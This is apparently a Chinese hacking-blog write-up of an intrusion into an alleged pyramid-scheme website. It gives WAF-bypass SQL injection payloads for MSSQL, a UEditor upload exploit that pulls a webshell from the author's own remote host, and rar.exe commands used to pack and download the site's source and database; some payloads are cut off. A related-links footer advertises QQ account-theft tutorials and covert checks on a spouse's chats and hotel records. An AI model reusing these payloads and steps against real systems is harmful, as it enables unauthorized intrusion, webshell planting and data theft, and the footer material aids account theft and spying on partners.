渗透测试|记一次对某非法站点从SQL注入到整站打包与本地搭建全过程

hacker4年前黑客文章381

  如题,由于是在已知有一处sql注入的情况下才接手进行的后续操作,因此前面信息搜集则一笔带过。

  目标是个本地的传销站点其大致信息为IIS+ASP.NET+安全狗、腾讯云。

  1

  2

  3

  4

  5

  6

  7

  8

  9

  10

  11

  空格 error

  加号 未拦截

  等号 error

  单引号 error

  双引号 未拦截

  双括号 未拦截

  +select error

  %0bselect 未拦截

  %0bselect%0buser%0bfrom 未拦截

  %0bselect%0buser%0bfrom%0badmin 拦截

  convert() 未拦截

  根据如上测试可以看出程序本身也有过滤,error为程序自身的过滤。可以利用IIS处理%符号的机制绕过部分符号,例如空格使用%0b 加号使用%2b等。再根据测试的结果,可以先利用convert转换报错获取一部分信息。

  

  1

  2

  3

  4

  5

  goodscontent.aspxgid=convert(int,@@version)#版本信息

  goodscontent.aspxgid=convert(int,db_name())#数据库信息

  goodscontent.aspxgid=convert(int,user_name())#当前数据库用户

  ……

  tips:可以通过遍历db_name(1)中的数字获取其他库名

  得到以下信息:

  1

  2

  3

  4

  5

  6

  7

  8

  9

  10

  11

  12

  13

  ASP.NET 版本:Microsoft .NET Framework 版本:4.0.30319; ASP.NET 版本:4.0.30319.36400

  数据库版本:Microsoft SQL Server 2008 (RTM) - 10.0.1600.22 (X64)

  用户名:sa

  计算机名:10_*_76_*SQLEXPRESS 10.*.76.*

  当前库:pan20170823

  所有库名:

  pan20170823

  master

  tempdb

  model

  msdb

  ReportServer$SQLEXPRESS

  ReportServer$SQLEXPRESSTempDB

  再往下就是获取表的信息

  1

  goodscontent.aspxgid=CONVERT(INT,(CHAR(58)%2bCHAR(58)%2b(SELECT%0btop%0b1%0bCAST(COUNT(*)%0bAS%0bnvarchar(4000))%0bFROM%0binformation_schema.TABLES%0b)%2bCHAR(58)%2bCHAR(58)))#获取表总个数

  由于我只会简单的select from因此始终无法获取表名,如果有其他姿势还望给科普下。

  

  此时陷入僵局,后来想起在404大佬的一篇bypass安全狗的文章中提到过在mssql中注释加换行同样成立,遂构造之。

  1

  2

  goodscontent.aspxgid=--

  PS:由于注入点已经使用了convert做了数据转换,后续直接防入查询即可

  获取到之一个表名:jsrecord

  

  由于还是没能绕过单引号和等号,我始终用不了not in与for xml path来爆后续的表名,这又触及到了我知识盲区,因此只好查阅大量文章案例,最终构造出如下语句。

  1

  /goodscontent.aspxgid=--

  

  此时只需要遍历top的数值即可,例如:

  1

  /goodscontent.aspxgid=--

  

  通过不断的遍历数值发现还是存在问题,举个例子,即 1-20、200-209,334-345返回同一个表名,存在大量重复与无序的情况,但可以通过burp中intruder->Grep-Extact功能来解决,操作如下:

  首先设置好intruder对001-600进行遍历(超过600多后就没什么内容了)

  

  

  然后使用Grep-Extact提取表名。

  

  

  

  保存结果后去重即可。

  

  和前面获取到的表总个数是一致的。

  解下来就是获取memberadmin表中的列名与内容,但在此之前我还是习惯性的看了下后台的网页源代码。

  

  如图,盲猜列名txt_nickname、nickname、txt_password、password

  1

  /goodscontent.aspxgid=--

  

  1

  /goodscontent.aspxgid=--

  登陆后台

  

  经测试后发现信息管理处可以发布咨询,上传图片。通过修改去掉filename=”1.aspx”中的双引号绕过安全狗,但无法绕过程序自身的检测。

  1

  Content-Disposition: form-data; name="up_picture"; filename=xss.jpg .aspx

  不过得知上传组件为ueditor,且.net版本存在上传漏洞

  poc如下

  1

  2

  3

  4

  

  

shell addr:

  

  

  并在自己的服务器上准备好shell(注意过狗),名称为a.gif,然后填入shell地址

  1

  https://o0o0.club/a.gif.aspx

  

  提交后即可得到shell路径

  在有了shell之后要做的事情就更明确了,即是打包源码与数据库,由于只需要这两样操作,相对于不需要太大的权限,避免操作不当触发警告。因此我选择先通过shell来进行打包操作。

  

  

  源码

  这里利用的是自行上传的rar.exe来分卷打包源码,在此之前尝试过7z.exe(目标服务器上已安装)、makecab 但效果并不理想,姿势不够还望科普。

  1

  2

  3

  4

  5

  6

  7

  rar.exe a -r -v50m -m5 pan20170823 *.*

  #a 压缩

  #-r 打包子目录

  #-v 分卷大小

  #-m 压缩等级

  #pan20170823目标目录

  #*.* 打包后文件名为 pan20170823.part*.rar

  最终以每秒100k的速度下载完成。

  

  略过,后台自带备份功能

  坑点:后台的备份文件后缀为zip,下载回来总是提示文件损坏,一直以为备份功能有问题,后来发现文件头是TAPE。。。。

  本地搭建的环境为 Windows server 2012+IIS8+SQL Server 2008,简单讲讲0.0

  安装过程略过

  导入数据

  新建数据库,然后通过原设备还原数据

  

  

  还原成功

  

  安装一笔带过,左边拉满就行,简单粗暴

  

  

  添加站点

  

  更好对应目标版本

  

  修改源码中的配置文件

  

  访问即可

  

  

  作者:Guoker

  如有侵权,请联系删

标签: 渗透测试

相关文章

怎么设置抖音重点关注 重点关注喜欢的抖音用户

在大家平常刷抖音的情况下碰到有才气,非常喜欢的创作者时我们可以设定关心乃至能够设定重点关注,为此来关心她们的事后著作。那麼抖音短视频该如何设置重点关注?今日我就来给大伙儿讲到讲到吧。 抖音用户如何设置...

如何查询老公的微信语音记录

很多妈妈都说孩子小时候都是围绕着宝宝的便便来判断宝宝的身体健康,最害怕的就是宝宝两三天不拉粑粑,而宝宝宝宝两三天不拉粑粑有时候的原因也不是便秘,那么宝宝两三天不拉粑粑又不是便秘的原因是什么 宝宝攒肚...

万亿农批市场的“互联网+”革命

万亿农批市场的“互联网+”革命

如今互联网发展迅速,面对人工智能、大数据等技术越来越先进,提高信息化程度与运营效率,去除低效或无效环节,优化产业结构与流通环节,打开了这场农批市场“互联网+”革命。推荐对农批市场感兴趣的童鞋观看。...

在小区里摆摊卖什么好(摆摊怎么选择商品)

在小区里摆摊卖什么好(摆摊怎么选择商品)

我2001年从学校毕业以后,上了四个月的班,辞职以后就进入了地摊行业。6年过去了,我走过8个省,50多个城市,最高一年收入16万元。 也许很多人都在为如何赚钱而苦恼,不过我可以告诉你,摆摊生意的黄金...

出轨开宾馆怎么查开宾馆怎么查找以前记录

 经常有小伙伴问:刚开始创业,不知道如何推广,有没有什么好建议啊?于是我们便整理了这个专题——那些牛逼的互联网公司,在发展初期是如何推广的?本期插坐菌选择了滴滴、陌陌、美团这三家公司初期推广的经验...

黑客找号的黑客(黑客教程盗qq号)

可以是木马漏洞利用你漏洞入侵电脑从而盗取密码利用网站上的木马(挂马)(从网站上下来的东西,或中奖信息,一旦输入密码,木马就会告诉他本人钓。 想要让他中你的木马,只要加密木马的特征码就行了,杀毒软件就是...